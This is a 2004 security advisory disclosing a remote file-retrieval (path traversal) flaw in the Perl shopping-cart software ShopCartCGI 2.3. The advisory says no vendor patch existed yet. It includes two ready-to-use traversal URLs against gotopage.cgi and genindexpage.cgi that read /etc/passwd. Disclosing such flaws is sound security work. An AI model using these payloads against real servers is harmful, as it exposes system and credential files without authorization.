ZH2004-06SA (security advisory): ShopCartCGI v2.3 Remote arbitrary file retrieving
ZH2004-06SA (security advisory): ShopCartCGI v2.3 Remote arbitrary file
retrieving
Published: 17 february 2004
Released: 17 february 2004
Name: ShopCartCGI
Affected Systems: 2.3
Issue: Remote arbitrary file retrieving
Author: G00db0y from Zone-h Security Labs - g00db0y@xxxxxxxxxx -
zetalabs@xxxxxxxxxx
Vendor: http://www.ggmate.com
Description
***********
Zone-h Security Team has discovered a flaw in ShopCartCGI 2.3. There is a
vulnerability in the current version of ShopCartCGI that allows an attacker to
retrieve arbitrary files from the webserver with its priviledges.
"ShopCartCGI is a set of scripts written in Perl to make it easy for you to
design and maintain your own WEB Shopping Cart system. The major advantages of
this software is that you design your WEB pages based on a simple template. The
template provides the mechanisms of form data entry using CGI."
Details
*******
It's possibile for a remote attacker to retrieve any file from a webserver.
Multiple files are affected with this problem.
For example try this:
http://address/directory/gotopage.cgi?13686+/../../../../../../../../../../../../../../../../etc/passwd
http://address/directory/genindexpage.cgi?13687+Home+/../../../../../../../../../../../../../../../../etc/passwd
Solution:
*********
The vendor has been contacted and a patch was not yet produced.
G00db0y from Zone-h Security Labs - G00db0y@xxxxxxxxxx - zetalabs@xxxxxxxxxx
http://www.zone-h.org/en/advisories/read/id=3962/